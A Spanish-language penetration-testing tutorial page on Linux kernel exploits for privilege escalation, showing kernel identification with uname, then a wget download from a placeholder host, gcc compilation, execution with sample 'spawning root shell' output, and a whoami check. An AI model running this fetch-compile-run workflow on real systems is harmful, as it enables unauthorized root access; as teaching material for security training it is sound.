Kernel Exploits


Los exploits a nivel de kernel son técnicas de explotación que aprovechan vulnerabilidades en el núcleo del sistema operativo para ejecutar código con privilegios elevados, como root. Estas vulnerabilidades pueden ser muy peligrosas, ya que permiten a un atacante obtener el control total del sistema. Los exploits del kernel son una de las principales herramientas que los atacantes utilizan para escalar privilegios en un sistema vulnerable.


Identificación del Kernel:

Para identificar la versión del kernel de Linux y buscar exploits específicos para esa versión, se puede usar el siguiente comando:

uname -a

Este comando devuelve información sobre la versión del kernel en uso. También se puede verificar la versión del sistema operativo usando:

cat /etc/lsb-release

Ejemplo de salida:

Linux NIX02 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.4 LTS"

En este ejemplo, se está utilizando el kernel 4.4.0-116-generic en una máquina Ubuntu 16.04.4 LTS.

Búsqueda de Exploit para el Kernel:

  • Una vez identificada la versión del kernel, puedes buscar exploits específicos para esa versión en Internet. Por ejemplo, si buscamos "linux 4.4.0-116-generic exploit", podemos encontrar varios exploits listados. Uno de estos exploits puede ser descargado al sistema mediante herramientas como wget o mediante otros métodos de transferencia de archivos.

Compilación y Ejecución del Exploit:

A continuación, se muestra cómo compilar y ejecutar un exploit del kernel descargado:

  1. Descargar y compilar el exploit:

$ wget http://example.com/kernel_exploit.c
$ gcc kernel_exploit.c -o kernel_exploit && chmod +x kernel_exploit
  1. Ejecutar el exploit:

$ ./kernel_exploit

Salida del exploit:

task_struct = ffff8800b71d7000
uidptr = ffff8800b95ce544
spawning root shell

Esto indica que el exploit ha sido exitoso y el sistema ha abierto una shell con privilegios root.

  1. Confirmación del acceso root:

$ whoami
root

El comando whoami confirmará que ahora tenemos acceso como root en el sistema.

Nota Importante:

  • Los sistemas que no están actualizados, como en este caso, pueden seguir siendo vulnerables a exploits del kernel incluso si se han aplicado algunos parches.

  • La explotación de vulnerabilidades de kernel puede causar inestabilidad en el sistema, por lo que se debe tener mucho cuidado al ejecutarlos, especialmente en entornos de producción.


Last updated